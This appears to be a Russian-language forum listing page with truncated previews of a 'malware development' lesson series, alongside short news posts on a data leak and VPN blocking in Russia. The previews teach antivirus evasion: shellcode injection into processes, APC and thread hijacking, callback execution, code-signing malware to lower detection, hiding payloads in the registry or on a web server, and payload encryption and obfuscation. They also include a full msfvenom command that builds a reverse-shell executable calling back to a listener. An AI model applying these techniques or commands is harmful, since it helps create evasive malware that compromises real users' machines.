X-Shar

Уроки Разработка вирусов-21.Инъекция отображаемой памяти

  • 562
  • 0

Локальная инъекция отображаемой памяти​

Введение​

До сих пор во всех предыдущих реализациях использовался тип локальной памяти для хранения полезной нагрузки во время выполнения. Локальная память выделяется с использованием VirtualAlloc или VirtualAllocEx.

На следующем изображении показана выделенная локальная память в реализации "LocalThreadHijacking", содержащей полезную нагрузку.

1695837241550.png


Отображаемая память​

Процесс выделения локальной памяти тщательно отслеживается средствами безопасности из-за его широкого использования вредоносным программам.

Чтобы избежать таких часто контролируемых WinAPI, таких-как VirtualAlloc/Ex и VirtualProtect/Ex, инъекция отображаемой памяти использует тип отображаемой памяти с использованием различных WinAPI, таких как CreateFileMapping и MapViewOfFile.

Также стоит отметить, что WinAPI VirtualProtect/Ex не может использоваться...

Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова

  • 658
  • 2
1695805775387.png


Введение

Функции обратного вызова используются для обработки событий или выполнения действия, когда выполняется определенное условие. Они применяются в различных сценариях в операционной системе Windows, включая обработку событий, управление окнами и многопоточность.

Определение функции обратного вызова от Microsoft следующее:

Функция обратного вызова - это код в управляемом приложении, который помогает функции неконтролируемой DLL завершить задачу. Вызовы функции обратного вызова передаются косвенно из управляемого приложения через функцию DLL и обратно к управляемой реализации.

Некоторые обычные API Windows имеют возможность выполнять полезные нагрузки с помощью обратных вызовов. Их использование предоставляет преимущества перед решениями безопасности, так как эти функции могут казаться безвредными и потенциально уклоняться от некоторых решений по безопасности.

Злоупотребление функциями обратного...

Уроки Разработка вирусов-19.Изучаем технику APC Injection

  • 822
  • 2
Предлагаю в этой статье рассмотреть один способ выполнения полезной нагрузки без создания нового потока. Этот метод известен как APC-инъекция.

Что такое APC? Асинхронные вызовы процедур (APC)
— это механизм операционной системы Windows, который позволяет программам выполнять задачи асинхронно, продолжая выполнять другие задачи. APC реализованы как процедуры в режиме ядра, выполняемые в контексте определенного потока.
Вредоносное ПО может использовать APC для постановки в очередь полезной нагрузки и последующего ее выполнения по расписанию.

Состояние готовности

Не все потоки могут выполнить поставленную в очередь функцию APC, это могут сделать только потоки в состоянии готовности. Такой поток находится в режиме ожидания. Когда поток переходит в состояние готовности, он помещается в очередь готовых потоков, что позволяет ему выполнять функции APC из очереди.

Что такое APC-инъекция?

Для постановки функции APC в очередь потока адрес этой функции должен...

Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов

  • 391
  • 0
Тема перечисления процессов затрагивалась здесь:Уроки - Разработка малвари-12. Иньекция в процесс

Также в этой теме для проведения атаки Thread Hijacking в удаленный процесс необходимо получить ID целевого процесса.

Давайте попробуем это сделать, что-бы не привлекать внимание антивирусов.)

Предлагаю использовать функцию NtQuerySystemInformation.
NtQuerySystemInformation экспортируется из модуля ntdll.dll, поэтому для его использования потребуется GetModuleHandle и GetProcAddress.

Документация Microsoft по NtQuerySystemInformation показывает, что он способен возвращать много информации о системе. Основное внимание этой статьи будет уделено его использованию для перечисления процессов.

Получение адреса NtQuerySystemInformation

Как было упомянуто ранее, для получения адреса...

Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking

  • 873
  • 3
1695460711350.png


Thread Hijacking (Похищение потока) - это техника, позволяющая выполнять полезную нагрузку без создания нового потока. Этот метод работает путем приостановки потока и обновления регистра адреса команды, указывающего на следующую инструкцию в памяти, чтобы он указывал на начало полезной нагрузки. Когда поток возобновляет выполнение, выполняется полезная нагрузка.

В этой статье будем использовать Msfvenom TCP reverse shell payload, а не полезную нагрузку calc., потому что она сохраняет поток после выполнения, тогда как полезная нагрузка calc завершила бы поток после выполнения.
Тем не менее, обе полезные нагрузки работают, но сохранение потока после выполнения позволяет проводить дальнейший анализ.

Контекст Потока

Прежде чем можно объяснить эту технику, необходимо понять что такое контекст потока. У каждого потока есть приоритет планирования и он содержит ряд структур, которые система сохраняет...

Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька

  • 521
  • 2
1694956091166.png


Когда пользователь пытается загрузить исполняемый файл из интернета, он часто подписан компанией как способ доказать пользователю, что это надежный исполняемый файл.
Несмотря на то что системы безопасности все равно будут проверять исполняемый файл, на него была бы направлена дополнительная проверка, если бы бинарный файл не был подписан.

Предлагаю рассмотреть шаги, необходимые для подписания вредоносного бинарного файла, что может повысить его надежность.

В статье демонстрируется подписание бинарного файла на исполняемом файле, созданном через Msfvenom: msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f exe -o mybin.exe

Тест, как подпись влияет на детект:


Перед началом бинарный файл был загружен на VirusTotal, чтобы увидеть степень обнаружения до подписания бинарного файла.
Степень обнаружения довольно высока: 52 из 71 антивирусов отметили файл как вредоносный...

Уроки Разработка вирусов-15. Прячем Payload в реестре

  • 466
  • 0
В общем из предыдущих уроков мы с вами знаем, что payload не обязательно должен храниться внутри вредоносной программы.
Вместо этого payload может быть получен во время выполнения вредоносной программы. В этой статье будет показана похожая техника, только payload будет записан в качестве значения ключа реестра и извлечен из реестра при необходимости.
Так как payload будет храниться в реестре, при сканировании вредоносной программы системами безопасности они не смогут обнаружить или найти payload внутри.

Код в этой статье разделен на две части. Первая часть записывает зашифрованный payload в ключ реестра. Вторая часть считывает payload из того же ключа реестра, расшифровывает его и выполняет.
В статье не будет объясняться процесс шифрования/расшифрования, так как это было объяснено в предыдущих уроках.

Также мы будем использовать условную компиляцию

Условная Компиляция

Условная компиляция - это способ включать код в проект, который компилятор либо будет компилировать...

Уроки Разработка малвари-14. Размещаем Payload удаленно на сервере

  • 446
  • 2
На протяжении всех статей до сих пор payload был постоянно хранящимся непосредственно внутри бинарного файла.

Это быстрый и часто используемый метод для извлечения payload. К сожалению, в некоторых случаях, когда существуют ограничения по размеру payload, сохранение payload внутри кода не является осуществимым подходом. Альтернативный подход заключается в размещении payload на веб-сервере и его извлечении во время выполнения.

Настройка Веб-сервера

Эта статья требует веб-сервера для размещения файла payload. Самый простой способ - использовать HTTP-сервер Python с помощью следующей команды:

Код:
python -m http.server 8000

1694767714022.png


Обратите внимание, что файл payload должен быть размещен в той же директории, где выполняется эта команда.

Чтобы проверить работу веб-сервера, перейдите по адресу с использованием браузера.

[ATTACH type="full"...

Уроки Разработка малвари-13.Инъекция шелл-кода в процесс

  • 463
  • 1
1694765556892.png


Эта статья похожа на предыдущую DLL Injection с небольшими изменениями.

Инъекция shellcode в процесс будет использовать практически те же самые API Windows.

VirtualAllocEx - выделение памяти.

WriteProcessMemory - запись полезной нагрузки в удаленный процесс.

VirtualProtectEx - изменение защиты памяти.

CreateRemoteThread - выполнение полезной нагрузки через новый поток.

Перечисление процессов

Как и в предыдущей статье, инъекция процесса начинается с перечисления процессов.

Фрагмент кода для перечисления процессов, показанный ниже, уже был объяснен в предыдущей статье.

C:
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
// Согласно документации:
// Перед вызовом функции Process32First установите член dwSize в sizeof(PROCESSENTRY32).
// Если dwSize не инициализирован...

Уроки Разработка малвари-12. Иньекция в процесс

  • 583
  • 0
В этой статье предлагаю обсудить метод, аналогичный тому, что был показан ранее при локальной инъекции DLL, за исключением того, что теперь инъекция будет выполняться в удаленный процесс.

Перечисление процессов

Прежде чем можно будет инъецировать DLL в процесс, необходимо выбрать целевой процесс. Поэтому первым шагом в инъекции в удаленный процесс обычно является перечисление запущенных процессов на компьютере для определения потенциальных целевых процессов, в которые можно выполнить инъекцию. Для этого требуется идентификатор процесса (PID), чтобы открыть дескриптор целевого процесса и выполнить необходимую работу в нем.

В статье мы создадим функцию, которая выполняет перечисление процессов для определения всех запущенных процессов.
Функция GetRemoteProcessHandle будет использоваться для перечисления всех запущенных процессов в системе, открытия дескриптора целевого процесса и возврата как PID, так и дескриптора процесса.

CreateToolhelp32Snapshot

Кодовый...

Уроки Разработка малвари-11. Локальный запуск Payload

  • 739
  • 1
Предлагаю в этой статье исследовать использование динамических библиотек (DLL) в качестве полезной нагрузки и попробовать загрузить вредоносный файл DLL в текущем процессе.

Создание DLL

Создание DLL просто и может быть выполнено с помощью Visual Studio.
Создайте новый проект, выберите язык программирования C++, а затем выберите Динамически-связанную библиотеку (DLL).
Это создаст код-скелет DLL, который будет изменяться в этой статье.

Если вы хотите освежить свои знания о том, как работают DLL, то можете обратится к этой статье:Уроки - Разработка малвари - 5. Изучаем динамические библиотеки

1694682086231.png


В этой статье будет использовано диалоговое окно, которое появляется, когда DLL успешно загружена.

Создание диалогового окна можно легко сделать с помощью MessageBox из WinAPI.

Приведенный ниже фрагмент кода будет запускать...

Уроки Разработка малвари-10. Обфускация Payload

  • 1 219
  • 16
1694513439319.png


В предыдущих статьях обсуждались вопросы размещения полезной нагрузки и её шифрование.

Но как уже было замечено этого не достаточно для сбития детекта, необходимо обойти ещё детект по поведению и эмуляцию кода.

С детектом по поведению немного сложнее, но детект по эмуляции кода можно обойти как вариант обфускацией этого самого кода.)

Предлагаю в этой статье рассмотреть обфускацию полезной нагрузки, далее уже всё зависит что делает ваша ПО, вообще изначально нужно проектировать софт так, что-бы у него не было подозрительного поведения.

В статье будут рассматриваться три способа обфускации...

Что-бы антивирусу или исследователю кода было хорошо, рекомендуется применять шифрование + несколько методов обфускации в комплексе.)

1)IPv4/IPv6Fuscation - это метод обфускации, при котором байты shellcode преобразуются в строки IPv4 или IPv6. Давайте рассмотрим несколько байтов из shellcode Msfvenom x64 calc и проанализируем, как их можно...

Уроки Разработка малвари-9. Шифруем Payload

  • 838
  • 1
1694436128387.png


В предыдущей статье мы рассмотрели где хранить полезную нагрузку (Payload), но как было сказано в коментарии к статье, для обхода детекта нужно много чего сделать, в частности нужно зашифровать Payload и ещё позаботится об антиэмуляции и скрытия поведения.

В этой статье рассмотрим пока-что как шифровать.)

Шифрование с использованием XOR

Шифрование с использованием XOR является самым простым в использовании и легким в реализации, что делает его популярным выбором для вредоносных программ. Оно быстрее, чем AES и RC4, и не требует дополнительных библиотек или использования API Windows. Кроме того, это симметричный алгоритм шифрования, который позволяет использовать одну и ту же функцию как для шифрования, так и для дешифрования.

Шифрование XOR Приведенный ниже фрагмент кода показывает базовую функцию шифрования XOR...

Уроки Разработка малвари-8. Куда класть нагрузку ?

  • 1 002
  • 6
1694249105333.png


В этой статье предлагаю поднять тему, куда и как класть нагрузку, он-же Payload.

Разработчик вредоносного ПО имеет несколько вариантов того, где в файле PE можно хранить полезную нагрузку. В зависимости от выбора полезная нагрузка будет находиться в разных разделах файла PE.

Полезные нагрузки могут храниться в одном из следующих разделов PE:

.data
.rdata
.text
.rsrc

Раздел .data

Раздел .data файла PE — это раздел исполняемого файла программы, который содержит инициализированные глобальные и статические переменные. Этот раздел доступен для чтения и записи, что делает его подходящим для зашифрованной полезной нагрузки, которая требует дешифровки во время выполнения.
Если полезная нагрузка является глобальной или локальной переменной, она будет сохранена в разделе .data в зависимости от настроек компилятора.

Приведенный ниже фрагмент кода показывает пример того, как полезная нагрузка хранится в разделе .data.

Код:
#include...

Информация Локер в поясе верности)

  • 1 166
  • 1
1693905763978.jpeg


ИБ-эксперт обнаружил, что неназванный производитель мужских поясов верности раскрывает данные своих пользователей, включая email-адреса, пароли (открытым текстом) домашние адреса, IP-адреса, а в некоторых случаях даже координаты GPS.

Исследователь, пожелавший остаться анонимным, рассказал изданию , что ему удалось получить доступ к базе данных, содержащей записи более 10 000 пользователей. Доступ был получен благодаря двум уязвимостям, о которых специалист уведомил компанию еще 17 июня 2023 года.

Однако журналисты пишут, что производитель поясов верности до сих пор не исправил обнаруженные проблемы и не ответил ни на запросы TechCrunch, ни на сообщения ИБ-специалиста. Журналисты даже связались с хостером компании и тот заверил, что предупредит о проблемах производителя устройств, а также китайский CERT, чтобы те так...

Уроки Разработка малвари-7. Виды детектов

  • 545
  • 0
1693122815450.png


Введение

Системы безопасности используют несколько техник для обнаружения вредоносного программного обеспечения.
Важно понимать, какие методы системы безопасности используют для классификации ПО как вредоносное.

Статическое по сигнатуре обнаружение

Сигнатура
- это ряд байтов или строк внутри вредоносного ПО, которые уникально его идентифицируют. Могут указываться и другие условия, такие как имена переменных и импортируемые функции. Как только система безопасности сканирует программу, она пытается сопоставить ее со списком известных правил. Эти правила должны быть предварительно созданы и загружены в систему безопасности.
YARA - это один из инструментов, который используют производители безопасности для создания правил обнаружения. Например, если шелл-код содержит последовательность байтов, которая начинается с ЕС 48 83 Е4 ЕО E8 СО 00 00 00 41 51 41 50 52 51, это можно использовать для обнаружения того, что полезная нагрузка...

Уроки Разработка малвари-6. Процессы Windows

  • 1 585
  • 7
Безымянный.png


В предыдущих версиях статей, было очень краткое ознакомление каких-то базовых вещей, без которых вообще проблематично вести разработку.
Понятно что этого недостаточно, но какое-то направление может дать.

Думаю это последняя статья, по теории и следующие статьи будут уже предметные, посвященные конкретно малвари...

Что такое процесс Windows?

Процесс Windows
- это программа или приложение, выполняющееся на машине с Windows. Процесс может быть запущен как пользователем, так и самой системой. Процесс потребляет ресурсы, такие как память, дисковое пространство и процессорное время, чтобы выполнить задачу.

Потоки процесса

Процессы Windows состоят из одного или нескольких потоков, которые выполняются одновременно. Поток — это набор инструкций, которые могут выполняться независимо в рамках процесса. Потоки внутри процесса могут обмениваться данными. Потоки планируются к выполнению операционной системой и...

Язык мой — враг мой? Неплохой доклад, про безопасность в языках программирования

  • 776
  • 0
Софтверная индустрия борется с бинарными уязвимостями различными техниками: тестированием, ревью, статическим и динамическим анализом, использованием безопасных подмножеств языка и другими. Но даже в продуктах от самых технологически продвинутых корпораций обнаруживаются все новые уязвимости.

Сергей Рогачев, руководитель отдела разработки безопасной платформы «Лаборатории Касперского», рассказывает о языках программирования, которые дают дополнительные инструменты для достижения безопасности, и о том, какие из них могут использоваться для написания операционных систем.

Смотрите на YouTube видео с Kaspersky Cyber Immunity Developers Night 2023


Вообще рекомендую посмотреть канал Kaspersky Cyber Immunity Developers Night 2023, там много всяких интересных докладов:

Уроки Разработка малвари - 5. Изучаем динамические библиотеки

  • 1 798
  • 8
1692450669523.png


В этой статье предлагаю рассмотреть создание динамических библиотек, в винде это всем наверное известные DLL.)

И .exe, и .dll файлы считаются исполняемыми файлами, в формате PE, сам PE уже описан много где, нет не времени не желание описывать архитектуру, если интересно всё в сети есть и очень разжованно.)

Что такое DLL?

DLL - это общие библиотеки исполняемых функций или данных, которые могут использоваться несколькими приложениями одновременно. Они используются для экспорта функций, которые будут использоваться процессом. В отличие от EXE файлов, DLL файлы не могут исполнять код самостоятельно. Вместо этого библиотеки DLL необходимо загрузить другими программами для выполнения кода.

Например функция createFile экспортирована из kernel32.dll, поэтому если процесс хочет вызвать эту функцию, ему сначала нужно загрузить kernel32.dll в свое адресное пространство.

Некоторые DLL автоматически загружаются в каждый...

ВАЖНО Блокировка OpenVPN и Wireguard в РФ

  • 2 230
  • 2
1691419789162.png


В России наблюдается блокировка популярных VPN-протоколов OpenVPN и Wireguard.

К сожалению, мы не можем точно определить, является ли это временной или постоянной мерой.

В связи с этим, как альтернативное и надежное решение, мы настоятельно рекомендуем переустановить ваше VPN-решение на Amnezia и использовать протоколы OpenVPN over Cloak (рекомендуется) или Shadowsocks.

Также работает Outline VPN.

Будет-ли блокировка OpenVPN и Wireguard постоянной покажет время, пока-что многие испытывают проблемы.:(
Верх Низ